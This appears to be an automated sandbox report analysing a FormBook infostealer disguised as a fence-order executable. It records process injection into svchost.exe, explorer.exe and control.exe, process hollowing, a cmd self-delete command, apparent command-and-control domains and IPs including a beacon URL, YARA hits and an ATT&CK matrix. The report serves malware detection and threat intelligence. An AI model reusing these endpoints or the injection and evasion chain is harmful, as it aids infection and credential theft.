          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03686ACC mov eax, dword ptr fs:[00000030h]2_2_03686ACC
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03686ACC mov eax, dword ptr fs:[00000030h]2_2_03686ACC
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03630AD0 mov eax, dword ptr fs:[00000030h]2_2_03630AD0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03664AD0 mov eax, dword ptr fs:[00000030h]2_2_03664AD0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03664AD0 mov eax, dword ptr fs:[00000030h]2_2_03664AD0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03638AA0 mov eax, dword ptr fs:[00000030h]2_2_03638AA0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03638AA0 mov eax, dword ptr fs:[00000030h]2_2_03638AA0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03686AA4 mov eax, dword ptr fs:[00000030h]2_2_03686AA4
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363EA80 mov eax, dword ptr fs:[00000030h]2_2_0363EA80
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363EA80 mov eax, dword ptr fs:[00000030h]2_2_0363EA80
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363EA80 mov eax, dword ptr fs:[00000030h]2_2_0363EA80
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363EA80 mov eax, dword ptr fs:[00000030h]2_2_0363EA80
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363EA80 mov eax, dword ptr fs:[00000030h]2_2_0363EA80
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363EA80 mov eax, dword ptr fs:[00000030h]2_2_0363EA80
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363EA80 mov eax, dword ptr fs:[00000030h]2_2_0363EA80
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363EA80 mov eax, dword ptr fs:[00000030h]2_2_0363EA80
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363EA80 mov eax, dword ptr fs:[00000030h]2_2_0363EA80
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03704A80 mov eax, dword ptr fs:[00000030h]2_2_03704A80
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03668A90 mov edx, dword ptr fs:[00000030h]2_2_03668A90
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03656962 mov eax, dword ptr fs:[00000030h]2_2_03656962
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03656962 mov eax, dword ptr fs:[00000030h]2_2_03656962
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03656962 mov eax, dword ptr fs:[00000030h]2_2_03656962
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0367096E mov eax, dword ptr fs:[00000030h]2_2_0367096E
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0367096E mov edx, dword ptr fs:[00000030h]2_2_0367096E
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0367096E mov eax, dword ptr fs:[00000030h]2_2_0367096E
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036D4978 mov eax, dword ptr fs:[00000030h]2_2_036D4978
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036D4978 mov eax, dword ptr fs:[00000030h]2_2_036D4978
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036BC97C mov eax, dword ptr fs:[00000030h]2_2_036BC97C
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B0946 mov eax, dword ptr fs:[00000030h]2_2_036B0946
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03704940 mov eax, dword ptr fs:[00000030h]2_2_03704940
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B892A mov eax, dword ptr fs:[00000030h]2_2_036B892A
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C892B mov eax, dword ptr fs:[00000030h]2_2_036C892B
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AE908 mov eax, dword ptr fs:[00000030h]2_2_036AE908
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AE908 mov eax, dword ptr fs:[00000030h]2_2_036AE908
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036BC912 mov eax, dword ptr fs:[00000030h]2_2_036BC912
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03628918 mov eax, dword ptr fs:[00000030h]2_2_03628918
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03628918 mov eax, dword ptr fs:[00000030h]2_2_03628918
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036BE9E0 mov eax, dword ptr fs:[00000030h]2_2_036BE9E0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036629F9 mov eax, dword ptr fs:[00000030h]2_2_036629F9
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036629F9 mov eax, dword ptr fs:[00000030h]2_2_036629F9
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C69C0 mov eax, dword ptr fs:[00000030h]2_2_036C69C0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363A9D0 mov eax, dword ptr fs:[00000030h]2_2_0363A9D0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363A9D0 mov eax, dword ptr fs:[00000030h]2_2_0363A9D0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363A9D0 mov eax, dword ptr fs:[00000030h]2_2_0363A9D0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363A9D0 mov eax, dword ptr fs:[00000030h]2_2_0363A9D0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363A9D0 mov eax, dword ptr fs:[00000030h]2_2_0363A9D0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363A9D0 mov eax, dword ptr fs:[00000030h]2_2_0363A9D0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036649D0 mov eax, dword ptr fs:[00000030h]2_2_036649D0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036FA9D3 mov eax, dword ptr fs:[00000030h]2_2_036FA9D3
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036429A0 mov eax, dword ptr fs:[00000030h]2_2_036429A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036429A0 mov eax, dword ptr fs:[00000030h]2_2_036429A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036429A0 mov eax, dword ptr fs:[00000030h]2_2_036429A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036429A0 mov eax, dword ptr fs:[00000030h]2_2_036429A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036429A0 mov eax, dword ptr fs:[00000030h]2_2_036429A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036429A0 mov eax, dword ptr fs:[00000030h]2_2_036429A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036429A0 mov eax, dword ptr fs:[00000030h]2_2_036429A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036429A0 mov eax, dword ptr fs:[00000030h]2_2_036429A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036429A0 mov eax, dword ptr fs:[00000030h]2_2_036429A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036429A0 mov eax, dword ptr fs:[00000030h]2_2_036429A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036429A0 mov eax, dword ptr fs:[00000030h]2_2_036429A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036429A0 mov eax, dword ptr fs:[00000030h]2_2_036429A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036429A0 mov eax, dword ptr fs:[00000030h]2_2_036429A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036309AD mov eax, dword ptr fs:[00000030h]2_2_036309AD
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036309AD mov eax, dword ptr fs:[00000030h]2_2_036309AD
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B89B3 mov esi, dword ptr fs:[00000030h]2_2_036B89B3
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B89B3 mov eax, dword ptr fs:[00000030h]2_2_036B89B3
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B89B3 mov eax, dword ptr fs:[00000030h]2_2_036B89B3
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036BE872 mov eax, dword ptr fs:[00000030h]2_2_036BE872
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036BE872 mov eax, dword ptr fs:[00000030h]2_2_036BE872
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C6870 mov eax, dword ptr fs:[00000030h]2_2_036C6870
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C6870 mov eax, dword ptr fs:[00000030h]2_2_036C6870
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03642840 mov ecx, dword ptr fs:[00000030h]2_2_03642840
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03660854 mov eax, dword ptr fs:[00000030h]2_2_03660854
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03634859 mov eax, dword ptr fs:[00000030h]2_2_03634859
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03634859 mov eax, dword ptr fs:[00000030h]2_2_03634859
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03652835 mov eax, dword ptr fs:[00000030h]2_2_03652835
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03652835 mov eax, dword ptr fs:[00000030h]2_2_03652835
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03652835 mov eax, dword ptr fs:[00000030h]2_2_03652835
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DD81F7 GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,0_2_00DD81F7
          Source: C:\Windows\SysWOW64\svchost.exeProcess token adjusted: DebugJump to behavior
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DAA395 SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_00DAA395
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DAA364 SetUnhandledExceptionFilter,0_2_00DAA364
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_00C942F0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,4_2_00C942F0
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_00C94550 SetUnhandledExceptionFilter,4_2_00C94550

          HIPS / PFW / Operating System Protection Evasion

          barindex
          System process connects to network (likely due to code injection or exploit)
          Source: C:\Windows\explorer.exeNetwork Connect: 52.86.6.113 80Jump to behavior
          Source: C:\Windows\explorer.exeNetwork Connect: 13.248.169.48 80Jump to behavior
          Source: C:\Windows\explorer.exeNetwork Connect: 185.53.179.91 80Jump to behavior
          Source: C:\Windows\explorer.exeNetwork Connect: 23.227.38.74 80Jump to behavior
          Source: C:\Windows\explorer.exeNetwork Connect: 3.64.163.50 80Jump to behavior
          Source: C:\Windows\explorer.exeNetwork Connect: 192.0.78.25 80Jump to behavior
          Source: C:\Windows\explorer.exeNetwork Connect: 198.185.159.144 80Jump to behavior
          Source: C:\Windows\explorer.exeNetwork Connect: 3.33.130.190 80Jump to behavior
          Maps a DLL or memory area into another process
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeSection loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and writeJump to behavior
          Source: C:\Windows\SysWOW64\svchost.exeSection loaded: NULL target: C:\Windows\explorer.exe protection: execute and read and writeJump to behavior
          Source: C:\Windows\SysWOW64\svchost.exeSection loaded: NULL target: C:\Windows\SysWOW64\control.exe protection: execute and read and writeJump to behavior
          Source: C:\Windows\SysWOW64\svchost.exeSection loaded: NULL target: C:\Windows\SysWOW64\control.exe protection: execute and read and writeJump to behavior
          Source: C:\Windows\SysWOW64\control.exeSection loaded: NULL target: C:\Windows\explorer.exe protection: read writeJump to behavior
          Source: C:\Windows\SysWOW64\control.exeSection loaded: NULL target: C:\Windows\explorer.exe protection: execute and read and writeJump to behavior
          Modifies the context of a thread in another process (thread injection)
          Source: C:\Windows\SysWOW64\svchost.exeThread register set: target process: 4056Jump to behavior
          Source: C:\Windows\SysWOW64\control.exeThread register set: target process: 4056Jump to behavior
          Queues an APC in another process (thread injection)
          Source: C:\Windows\SysWOW64\svchost.exeThread APC queued: target process: C:\Windows\explorer.exeJump to behavior
          Sample uses process hollowing technique
          Source: C:\Windows\SysWOW64\svchost.exeSection unmapped: C:\Windows\SysWOW64\control.exe base address: C90000Jump to behavior
          Writes to foreign memory regions
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeMemory written: C:\Windows\SysWOW64\svchost.exe base: AB5008Jump to behavior
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DD8C93 LogonUserW,0_2_00DD8C93
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00D83B4C GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,0_2_00D83B4C
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00D84A35 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,0_2_00D84A35
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DE4EC9 mouse_event,0_2_00DE4EC9
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exe"Jump to behavior
          Source: C:\Windows\SysWOW64\control.exeProcess created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Windows\SysWOW64\svchost.exe"Jump to behavior
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DD81F7 GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,0_2_00DD81F7
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DE4C03 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,0_2_00DE4C03
          Source: 2024 Lusail Fence-WITH STICKER-2-003.exeBinary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
          Source: 2024 Lusail Fence-WITH STICKER-2-003.exe, explorer.exe, 00000003.00000002.3817490344.0000000009022000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272115538.0000000009013000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3812097614.0000000004880000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Shell_TrayWnd
          Source: explorer.exe, 00000003.00000000.1373449668.0000000001440000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000002.3809298739.0000000001441000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progman
          Source: explorer.exe, 00000003.00000000.1373449668.0000000001440000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000002.3809298739.0000000001441000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: ?Program Manager
          Source: explorer.exe, 00000003.00000000.1372817528.0000000000C59000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3808320799.0000000000C59000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 1Progman
          Source: explorer.exe, 00000003.00000000.1373449668.0000000001440000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000002.3809298739.0000000001441000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progmanlock
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DA886B cpuid 0_2_00DA886B
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DB50D7 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,0_2_00DB50D7
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DC2230 GetUserNameW,0_2_00DC2230
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DB418A __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,0_2_00DB418A
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00D84AFE GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,0_2_00D84AFE

          Stealing of Sensitive Information

          barindex
          Yara detected FormBook
          Source: Yara matchFile source: 0.2.2024 Lusail Fence-WITH STICKER-2-003.exe.18d0000.1.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 0.2.2024 Lusail Fence-WITH STICKER-2-003.exe.18d0000.1.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 00000004.00000002.3808376595.0000000000640000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000002.00000002.1418182361.0000000002FA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000004.00000002.3808465152.0000000000670000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000002.00000002.1421599562.0000000003950000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000000.00000002.1366051855.00000000018D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000002.00000002.1417629112.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000004.00000002.3807906421.00000000001A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: 2024 Lusail Fence-WITH STICKER-2-003.exeBinary or memory string: WIN_81
          Source: 2024 Lusail Fence-WITH STICKER-2-003.exeBinary or memory string: WIN_XP
          Source: 2024 Lusail Fence-WITH STICKER-2-003.exeBinary or memory string: WIN_XPe
          Source: 2024 Lusail Fence-WITH STICKER-2-003.exeBinary or memory string: WIN_VISTA
          Source: 2024 Lusail Fence-WITH STICKER-2-003.exeBinary or memory string: WIN_7
          Source: 2024 Lusail Fence-WITH STICKER-2-003.exeBinary or memory string: WIN_8
          Source: 2024 Lusail Fence-WITH STICKER-2-003.exeBinary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 5USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte

          Remote Access Functionality

          barindex
          Yara detected FormBook
          Source: Yara matchFile source: 0.2.2024 Lusail Fence-WITH STICKER-2-003.exe.18d0000.1.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 0.2.2024 Lusail Fence-WITH STICKER-2-003.exe.18d0000.1.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 00000004.00000002.3808376595.0000000000640000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000002.00000002.1418182361.0000000002FA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000004.00000002.3808465152.0000000000670000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000002.00000002.1421599562.0000000003950000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000000.00000002.1366051855.00000000018D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000002.00000002.1417629112.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000004.00000002.3807906421.00000000001A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DF6596 socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,0_2_00DF6596
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DF6A5A socket,WSAGetLastError,bind,WSAGetLastError,closesocket,0_2_00DF6A5A

          Mitre Att&ck Matrix

          ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
          Gather Victim Identity InformationAcquire Infrastructure2
          Valid Accounts          		2
          Native API          		1
          DLL Side-Loading          		1
          Exploitation for Privilege Escalation          		1
          Disable or Modify Tools          		21
          Input Capture          		2
          System Time Discovery          		Remote Services1
          Archive Collected Data          		4
          Ingress Tool Transfer          		Exfiltration Over Other Network Medium1
          System Shutdown/Reboot
          CredentialsDomainsDefault Accounts1
          Shared Modules          		2
          Valid Accounts          		1
          DLL Side-Loading          		1
          Deobfuscate/Decode Files or Information          		LSASS Memory1
          Account Discovery          		Remote Desktop Protocol21
          Input Capture          		1
          Encrypted Channel          		Exfiltration Over BluetoothNetwork Denial of Service
          Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)2
          Valid Accounts          		3
          Obfuscated Files or Information          		Security Account Manager2
          File and Directory Discovery          		SMB/Windows Admin Shares3
          Clipboard Data          		3
          Non-Application Layer Protocol          		Automated ExfiltrationData Encrypted for Impact
          Employee NamesVirtual Private ServerLocal AccountsCronLogin Hook21
          Access Token Manipulation          		1
          DLL Side-Loading          		NTDS215
          System Information Discovery          		Distributed Component Object ModelInput Capture13
          Application Layer Protocol          		Traffic DuplicationData Destruction
          Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon Script612
          Process Injection          		2
          Valid Accounts          		LSA Secrets251
          Security Software Discovery          		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
          Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts2
          Virtualization/Sandbox Evasion          		Cached Domain Credentials2
          Virtualization/Sandbox Evasion          		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
          DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items21
          Access Token Manipulation          		DCSync3
          Process Discovery          		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
          Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job612
          Process Injection          		Proc Filesystem11
          Application Window Discovery          		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
          Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAtHTML Smuggling/etc/passwd and /etc/shadow1
          System Owner/User Discovery          		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement

          Behavior Graph

          Hide Legend

          Legend:

          • Process
          • Signature
          • Created File
          • DNS/IP Info
          • Is Dropped
          • Is Windows Process
          • Number of created Registry Values
          • Number of created Files
          • Visual Basic
          • Delphi
          • Java
          • .Net C# or VB.NET
          • C, C++ or other language
          • Is malicious
          • Internet
          behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1465322 Sample: 2024 Lusail Fence-WITH STIC... Startdate: 01/07/2024 Architecture: WINDOWS Score: 100 34 www.babyscan.xyz 2->34 36 zangbreaker.com 2->36 38 17 other IPs or domains 2->38 42 Snort IDS alert for network traffic 2->42 44 Found malware configuration 2->44 46 Malicious sample detected (through community Yara rule) 2->46 50 7 other signatures 2->50 11 2024 Lusail Fence-WITH STICKER-2-003.exe 4 2->11         started        signatures3 48 Performs DNS queries to domains with low reputation 34->48 process4 signatures5 60 Binary is likely a compiled AutoIt script file 11->60 62 Writes to foreign memory regions 11->62 64 Maps a DLL or memory area into another process 11->64 14 svchost.exe 11->14         started        process6 signatures7 66 Modifies the context of a thread in another process (thread injection) 14->66 68 Maps a DLL or memory area into another process 14->68 70 Sample uses process hollowing technique 14->70 72 3 other signatures 14->72 17 explorer.exe 67 1 14->17 injected process8 dnsIp9 28 www.gb-electric-wheelchairs-8j.bond 185.53.179.91, 49713, 80 TEAMINTERNET-ASDE Germany 17->28 30 ext-sq.squarespace.com 198.185.159.144, 49714, 80 SQUARESPACEUS United States 17->30 32 6 other IPs or domains 17->32 40 System process connects to network (likely due to code injection or exploit) 17->40 21 control.exe 17->21         started        signatures10 process11 signatures12 52 Modifies the context of a thread in another process (thread injection) 21->52 54 Maps a DLL or memory area into another process 21->54 56 Tries to detect virtualization through RDTSC time measurements 21->56 58 Switches to a custom stack to bypass stack traces 21->58 24 cmd.exe 1 21->24         started        process13 process14 26 conhost.exe 24->26         started       

          Screenshots

          Thumbnails

          This section contains all screenshots as thumbnails, including those not shown in the slideshow.


          windows-stand

          Antivirus, Machine Learning and Genetic Malware Detection

          Initial Sample

          SourceDetectionScannerLabelLink
          2024 Lusail Fence-WITH STICKER-2-003.exe67%ReversingLabsWin32.Trojan.Autoit
          2024 Lusail Fence-WITH STICKER-2-003.exe100%Joe Sandbox ML

          Dropped Files

          ⊘No Antivirus matches

          Unpacked PE Files

          ⊘No Antivirus matches

          Domains

          ⊘No Antivirus matches

          URLs

          SourceDetectionScannerLabelLink
          https://android.notify.windows.com/iOS0%URL Reputationsafe
          http://schemas.micro0%URL Reputationsafe
          http://www.texhio.online0%Avira URL Cloudsafe
          http://www.texhio.online/ts59/www.femininequantumflowcoach.com0%Avira URL Cloudsafe
          http://www.scarytube.world/ts59/?7n=5Kzuc08NHZ8t10osRye94ZQvODLPm8mJty646c/dpAg/zLZpW1bo0yg/pue6LIfdumZDuAZHWw==&2d8=3fe8kxnx8zVX-2L0%Avira URL Cloudsafe
          https://api.msn.com:443/v1/news/Feed/Windows?t0%Avira URL Cloudsafe
          http://www.cn-brand.com0%Avira URL Cloudsafe
          https://www.msn.com/en-us/sports/other/simone-biles-leads-u-s-women-s-team-to-seventh-straight-world0%Avira URL Cloudsafe
          http://www.qjjkxi260l.top0%Avira URL Cloudsafe
          https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV0%Avira URL Cloudsafe
          http://www.zangbreaker.com0%Avira URL Cloudsafe
          https://api.msn.com:443/v1/news/Feed/Windows?0%Avira URL Cloudsafe
          http://www.gb-electric-wheelchairs-8j.bondReferer:0%Avira URL Cloudsafe
          https://www.msn.com/en-us/money/realestate/why-this-florida-city-is-a-safe-haven-from-hurricanes/ar-0%Avira URL Cloudsafe
          https://www.msn.com/en-us/weather/topstories/here-s-who-could-see-above-average-snowfall-this-winter0%Avira URL Cloudsafe
          http://www.texhio.onlineReferer:0%Avira URL Cloudsafe
          http://www.gb-electric-wheelchairs-8j.bond/ts59/www.lostaino.com0%Avira URL Cloudsafe
          http://www.scarytube.world/ts59/www.robottts.com0%Avira URL Cloudsafe
          https://excel.office.com0%Avira URL Cloudsafe
